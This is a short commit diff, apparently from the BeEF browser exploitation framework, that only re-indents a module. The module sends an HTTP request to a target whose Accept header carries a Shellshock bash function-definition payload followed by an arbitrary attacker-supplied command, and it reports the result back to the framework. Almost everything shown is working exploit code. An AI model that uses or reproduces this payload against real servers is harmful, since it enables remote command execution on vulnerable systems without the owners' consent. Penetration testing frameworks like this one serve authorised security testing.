Re-indent
This commit is contained in:
@@ -5,7 +5,6 @@
|
||||
//
|
||||
|
||||
beef.execute(function () {
|
||||
|
||||
try {
|
||||
var target = "<%=@Target%>";
|
||||
var command = "<%=@Bash_Command%>";
|
||||
@@ -20,10 +19,8 @@ beef.execute(function () {
|
||||
}
|
||||
}
|
||||
xhr.setRequestHeader("Accept", "() { test;};echo \"Content-type: text/plain\"; echo; echo; " + command);
|
||||
xhr.send(null);
|
||||
}
|
||||
catch (e){
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result= Something wrong "+e.message);
|
||||
xhr.send(null);
|
||||
} catch (e){
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result= Something wrong "+e.message);
|
||||
}
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user